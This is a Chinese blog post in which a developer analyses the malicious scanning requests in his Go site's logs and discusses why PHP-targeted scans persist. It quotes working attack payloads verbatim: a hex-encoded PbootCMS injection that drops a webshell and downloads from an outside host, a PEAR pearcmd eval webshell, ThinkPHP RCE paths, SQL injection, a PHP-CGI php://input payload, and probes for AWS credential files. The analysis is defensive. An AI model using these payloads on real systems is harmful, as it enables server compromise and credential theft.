- 前言
1.png
- 其实这一篇文章我在五号都准备好了,但是一直懒得要死,或者说我一直在开发其他的项目导致没有时间发布
- “你他妈的傻逼的,我用Go写的系统,结果日志里全是扫PHP脚本的请求,这些傻逼是不是搞错方向了?“
- 最近在跟朋友语音打单机游戏时我所说的疑问
- 为什么我会这么说很多都是扫PHP脚本的请求?
- 现在请跟着我一起分析一下日志,看一下扫描的恶意请求有那些
- 备份文件扫描
2.png
- 134.122.130.225扫描次数1070
- 2024年11月26日 03:49:29-04:31:10(持续约2491秒)
- 模式分析
3.png
- 系统(规律)性地尝试各种备份文件扩展名
- UA伪装: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
- 安全评估
4.png
- 所有请求都被服务器全部拒绝(444)
- 这次攻击是典型的自动化备份文件扫描,攻击者试图找到网站备份来获取敏感信息
- 防护机制生效,所有恶意请求都被成功拦截
- PHP扫描
- 现在才是完全的关于PHP扫描的全部信息,也是我在这篇文章中所提到的
- PbootCMS模板引擎漏洞扫描
5.png
- 18.163.115.46扫描次数137
- 2025年08月27日 10:43:25-11:01:41(持续约1096秒)
- 模式分析
- 使用UA: Python-urllib/3.8python-requests/2.32.4
- UA伪装: Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/2X.0
- 载荷以及手法分析
6.png
/?p=20&test=}{pboot:if((\x22var_\x22.\x22dump\x22)((\x22file\x22.\x22_put_contents\x22)(\x22./runtime/cache/7.php\x22,(\x22hex2bi\x22.\x22n\x22)(\x226b6c6b6c6b6c6b6c6b6c6b6c6b6c38383838353535353535353c3f70687020244f30304f4f303d75726c6465636f6465282225373825333425363325364625324625373025333925373925373125364525363425324425364325373225364225363425363725354625363525363825363325373325373725364625324225363625333325333725364125363625363925364325363525363625363425363625363425373325373025373525373425363425363625363425363325364625364525363425373325373425363525364525364425373125373625373522293b244f30304f304f3d244f30304f4f305b34345d2e244f30304f4f305b32335d2e244f30304f4f305b33385d2e244f30304f4f305b375d3b244f30304f4f313d75726c6465636f6465282268747470253341253246253246746573742e61646d696e2e6169383834342e636f6d2532466373732532462532466261636b75702e7a697022293b244f30304f4f323d2234222e2230222e244f30304f4f305b315d2e2234222e222e222e227a222e244f30304f4f305b33305d2e2270223b244f30304f304f28244f30304f4f312c244f30304f4f32293b696e636c75646520244f30304f4f323b3f3e\x22))))}{/pboot:if}- 使用了字符串拼接和十六进制编码来绕过检测
- "var_"."dump" → var_dump - "file"."_put_contents" → file_put_contents - "hex2bi"."n" → hex2bin- 执行的功能:
- 创建Webshell文件 ./runtime/cache/7.php - 从远程服务器下载恶意文件 - 在服务器上执行任意命令- 解码后的下载恶意文件的地址: http://test.admin.ai8844.com/css//backup.zip
- 这是他的管理后台: http://test.admin.ai8844.com/
- 域名信息: 万维网(阿里云)
- 域名ip列表,都是转发腾讯云:
ai8844.com-43.139.187.114 www.ai8844.com-43.139.187.114 store.ai8844.com-43.139.187.114 test.admin.ai8844.com-43.139.187.114 admin.ai8844.com-111.230.47.78 data.ai8844.com-111.230.47.78 data6.ai8844.com-129.204.4.117 adverts.ai8844.com-43.136.85.204- 备案信息:京ICP备2023007636号-1(2023-12-30 至 2025-07-31)
- 备案主体:北京柚享科技有限公司
- 安全评估
- 所有请求都被服务器全部拒绝(444)
- 看起来这个可能是被人家攻击或破解了导致被利用的,一般企业是不会做这种事情的
- 但是我也不是非常肯定,也不见得不是这个企业内部的问题
- 在这里姑且认为是第一种情况吧
- 这是一次0day漏洞利用尝试,对方想靠从他的服务器上下载恶意文件
- 然后进行控制我的服务器,不过很明显防火墙的防护起作用了,所有恶意请求全给拦住了
- 一次都没有绕过去,反而让我知道了其他更多的信息
- config-create命令注入漏洞
7.png
- 185.156.46.162扫描次数2
- 2025年09月06日 08:58:29-08:58:30(持续约1秒)
- 手法解析
- PEAR(PHP扩展和应用库)的config-create命令注入漏洞
/?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?phpinfo();@eval($_POST['123']);?>+888.php- 通过多层目录遍历定位到pearcmd文件 - 注入恶意PHP代码 - 指定生成的Webshell文件名- 攻击流程
- 1. 第一次请求(08:58:29) :尝试利用PEAR漏洞创建Webshell文件888.php
- 2. 第二次请求(08:58:30) :立即访问进行验证是否有刚刚创建的Webshell文件
- 安全评估
- 第一次攻击请求返回403
- 第二次验证请求返回404
- 很明显这个成功阻止了针对PEAR组件的高危命令注入攻击
- 攻击者试图创建Webshell文件但被WAF及时拦截
- ThinkPHP框架漏洞扫描
8.png
- 39.163.17.250扫描次数33
- 2025年05月07日 05:47:21-05:48:25(持续约64秒)
9.png
- 38.114.103.173扫描次数24
- 2024年11月24日 17:39:08-17:39:21(持续约13秒)
- 手法解析
- 1. ThinkPHP RCE漏洞利用
POST /index.php?s=/index/%5Cthink%5CContainer/invokefunction - 利用容器反射调用漏洞 POST /index.php?s=index/%5Cthink%5CRequest/input - 利用请求参数注入漏洞 POST /index.php?s=/index/%5Cthink%5Capp/invokefunction - 利用应用层反射调用漏洞- 这些攻击尝试利用ThinkPHP的模板引擎和函数调用机制执行任意PHP代码
- 2. 模板注入攻击
GET /index.php?s=a/b/c/$%7Bvar_dump(md5(1))%7D GET /index.php?s=my-show-id-%5Cx5C..%5Cx5CTpl%5Cx5C8edy%5Cx5CHome%5Cx5Cmy_1%7B~var_dump(md5(2333))%7D%5D- 攻击者尝试通过模板注入执行PHP代码,使用十六进制编码绕过检测
- 3. SQL注入攻击
GET /index.php?s=/home/pay/index/orderid/1%27)UnIoN/**/All/**/SeLeCT/**/Md5(2333)--+- 使用SQL注入尝试获取数据库信息,通过注释符和大小写混合绕过检测
- 4. 路径遍历和文件读取
GET /index.php?m=Home&c=Index&a=index&value%5B_filename%5D=./Application/Runtime/Logs/Common/24_11_24.log GET /index.php?s=my-show-id-%5Cx5C..%5Cx5CRuntime%5Cx5CLogs%5Cx5C24_11_24.log- 攻击者尝试读取系统日志文件,可能用于信息收集
- 安全评估
- 请求都返回404或403非常成功阻止了这些攻击请求
- FCKeditor探测
10.png
- 27.124.4.23扫描次数169
- 2025年6月13日 06:27:47 - 06:27:53(持续约6秒)
- 手法解析
- 1. 上传漏洞探测
11.png
POST /FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=FileUpload&Type=File&CurrentFolder=%2F- 2.Ueditor编辑器文件探测
- 攻击者连续探测了多个Ueditor编辑器相关路径:
- /Ueditor/controller.ashx - /Ueditor/net/controller.ashx - /Plugin/ueditor/controller.ashx - /Scripts/ueditor/controller.ashx - 以及其他多个变体路径- 3.其他CMS漏洞探测
GET /e/aspx/upload.aspx?a=pageadmin_cms GET /SiteServer/Ajax/ajaxOtherService.aspx- 4.Webshell文件探测
- 攻击者探测多个可疑的PHP文件:
- /gcz.php - /orfy.php - /ybzn.php - /cysb.php - /sgay.php - /dimy.php- 安全评估
- 全部返回404,成功阻止了这些攻击请求
- PHP混合探测
12.png
- 154.36.180.143扫描次数21
- 2025年11月26日 13:26:10 - 13:26:16(持续约6秒)
- 手法解析
- 1.验证码接口探测
POST /index.php?s=captcha- 2.PbootCMS模板注入攻击
POST /?tag/index=&tag={pbohome/Indexot:if(1)(usort/*%3e*/(post/*%3e*/(/*%3e*/1),create_function/*%3e*/(/*%3e*/post/*%3e*/(/*%3e*/2),post/*%3e*/(/*%3e*/3))));//)}(123){/pbhome/Indexoot:if}&tagstpl=news.html&lnoc2tspfar1_ue- 3.PHP-CGI漏洞利用
POST /php-cgi/php-cgi.exe?%add +allow_url_include%3d1+%add +auto_prepend_file%3dphp://input- 尝试利用PHP-CGI的配置漏洞,通过php://input执行恶意代码
- 安全评估
- 全部返回404,成功阻止了这些攻击请求
- 路径探测
- 以下这两个分析出来其实是一个人
13.png
- 106.75.190.150扫描次数509
- 2024年12月21日 04:23:32-04:24:12(持续约40秒)
14.png
- 106.75.189.197扫描次数168
- 2024年12月26日 06:39:41-06:40:43(持续约62秒)
- 手法解析
- 高频次访问随机路径,扫描或爆破行为
- 为什么判断这是同一个人?
- 两次都使用完全相同的随机字符串攻击路径
- 都属于106.75.189.xxx-106.75.190.xxx段
- 都在凌晨时段发起攻击
- 都是短时间内高频次请求
- 都使用无UA的裸请求
- 结论
16.png
- 这种特定路径以及特征模式不可能是巧合
- 这极有可能是同一个攻击者使用相近的IP地址(可能是同一IDC或代理池)
- 对网站进行持续性扫描攻击,试图寻找未修复的漏洞入口点
- 还有一些其他IP的随机扫描路径这里就不一一列举了
15.png
- 混合探测
- 185.177.72.55扫描次数158
- 2025年9月4日 01:04:18-01:04:38(持续约20秒)
- 手法解析
- 1.多框架配置文件扫描
- AWS配置文件: /config/aws.yml , /.AWS_/credentials , /aws/credentials - Python/Django配置: /settings.py , /config.json , /app.py - Node.js配置: /main.js , /gatsby-config.js , /app.js - Java配置: /application.properties - CI/CD配置: /.travis.yml , /.circleci/config.yml- 2.开发环境文件探测
- 测试配置文件: /karma.conf.json , /swagger.json , /swagger.js - 后端配置: /backend/config/*.yml , /configs/*.js - API配置: /api/config.js , /apis/controllers/*.js- 3.敏感路径扫描
- 管理员路径: /admin/controllers/*.js , /admin/config - 用户配置: /user/config/config.js , /user/controllers/index.js - AWS凭证: /.aws/config , /.aws/credentials - 自定义脚本: /my_env/*.py , /mytest/*.js- 行为特征
- 探测多种当下的热门技术栈 (PHP, Python, Node.js, Java, AWS)
- 使用过时的旧版Chrome UA (Chrome/91.0.4472.124)
- 短时间的高频次扫描 (20秒内68次请求)
- 当然还有一些其他的探测这里就不写了,总的来说就是这几种
- 比如说WordPress扫描,SQL注入以下的位置都有写,这里就不在啰嗦了
- 通过日志安全分析追踪攻击者
- 本站受到SQL注入攻击,以及原理注入与解决方法
- 结论
- 攻击自身的blog会发现除掉备份扫描等,日志中大量存在的是扫PHP脚本的请求
- 这也是我为什么会说出开头的那一句话
- 技术栈升级了,PHP扫描为何没消失?
- 首先PHP使用量仍然非常高
- 先抛一组扎心数据:W3Techs统计显示,截至2025年,全球仍有77%的网站依赖PHP驱动
- 这个比例比Go、Java、Python的总和还要高
- 更关键的是,这些PHP应用中,近40%还在使用PHP 5.x等早已停止维护的版本
- 仅ThinkPHP、Dedecms、PbootCMS这三大主流框架,每年暴露的高危漏洞就超过200个
- 这就解释了黑客的“执念”:对他们而言,扫描PHP脚本不是“习惯使然”,而是“投入产出比最高的选择”
- 就像猎人不会放弃长满猎物的草原,转而去追稀有的猛兽,即使你的系统是Go开发的
- 黑客的自动化工具也会先扫一遍PHP路径,毕竟“扫十次有九次能碰到可利用目标”的买卖,谁都愿意做
- 老系统是不会消失的
- PHP的“历史包袱”是黑客最爱的突破口。作为从个人主页工具演化来的语言
- 早期PHP为了易用性牺牲了不少安全性,并且PHP开发简单容易上手开发成本低,导致代码质量参差不齐
- register_globals全局变量污染、magic_quotes自动转义漏洞、弱类型导致的逻辑绕过等问题,在老旧系统中至今泛滥
- 为了向下兼容,很多旧版的PHP代码至今还在被使用,后台管理、数据统计等“边缘模块”仍在用十年前的PHP代码
- 极低的“攻击门槛”
- 他们的扫描逻辑通常是
先扫常规PHP路径(如/index.php、/admin.php),再通过响应头判断服务器类型,最后尝试PHP与其他语言的交互漏洞- 对比Go,java的编译型特性,PHP的脚本化属性让攻击变得异常简单
- 黑客不需要掌握复杂的内存溢出技巧,只要懂点基础语法,就能利用现成工具发起攻击
- 文件上传漏洞:未过滤的PHP文件上传接口,上传一个一句话木马就能拿到服务器权限,这类漏洞在老旧CMS中占比超60% - 文件包含漏洞:通过?file=../../etc/passwd这样的简单参数,就能读取服务器敏感文件,Nmap的vuln脚本库能自动扫描这类漏洞 - 弱类型绕过:利用“123abc”==123的隐式转换特性,就能绕过不少登录验证,这种PHP独有的“特性”已被滥用十年- 攻击工具的普及。PHP漏洞扫描器超过30款,新手下载后输入目标网址
- 点击“开始扫描”就能自动匹配漏洞库
- 这种“零门槛攻击”,让PHP成为黑客入门的“练手靶场”,也让企业承受了大量无差别攻击
- PHP这么多攻击请求,是不是不安全?
- 安全的敌人,是“认知盲区”
- PHP本身不是“不安全的语言”
- 现代PHP 8.x已引入严格类型、JIT编译等安全特性,Laravel等框架也做了完善的漏洞防护
- 黑客偏爱的不是PHP语言,而是“使用PHP的人留下的漏洞”
- 那些看似“无关紧要”的PHP扫描日志,更像是黑客递来的“风险提示函”:它在提醒你,安全防护不能只看“主流技术栈”
- 更要盯住那些“被遗忘的角落”。毕竟,网络安全的胜负,往往藏在日志的细节里
- 总结
- 我后端是用Go写的,日志都是PHP扫描日志多,是不是代表风险低?
- 看到这里你应该明白:大量PHP扫描日志,不是黑客“找错门”,而是他们的“地毯式搜索策略
- 其实更危险的情况是
- 当如果把精力放在拦截PHP请求时,黑客可能已经通过其他漏洞突破了自己的Go系统
- 其实全部公开面对互联网都有共性规律
- 应用越广泛,漏洞暴露越充分;脚本化/动态类型特性,降低攻击技术门槛
- 老旧系统未更新,形成 “漏洞存量”。无论用何种语言,“及时打补丁、过滤输入、管控依赖包” 都是核心防护手段
- 虽然说Go、Java等更安全的编译型技术栈成为开发主流,PHP相关的扫描日志仍然出现
- 其实还是PHP生态比较丰富,漏洞易被利用、攻击成本低,才让它成了黑客的高效攻击目标,或者说黑客的智商不太行
- 比较起来可能都是一些新手,因为他这些人可能连后端使用的是什么语言都不知道
- 只能说是用最简单,使用率高的进行扫描攻击
- 虽然这些黑客扫描的方法有点牛头不对马嘴,但是老是有扫描的也不太行
- 所以我也为其添加了扫描检测拦截封禁的功能
- 这样子也可以在检测到扫描攻击时,第一时间拦截封禁
- 而不浪费我服务器的流量
17.png
- 行了,今天就写到这里吧,为了写这一篇文章,我也算是浪费了差不多两个小时做总结,八千多个字也够了
- 参考
- PHP (Hypertext Preprocessor)
- PHP: a fractal of bad design (fuzzy notepad)
- W3Techs - World Wide Web Technology Surveys
【日志全是PHP扫描?黑客指的是越来越“聪明”了】
qaq卟言
闲聊
完结
回复给❌取消回复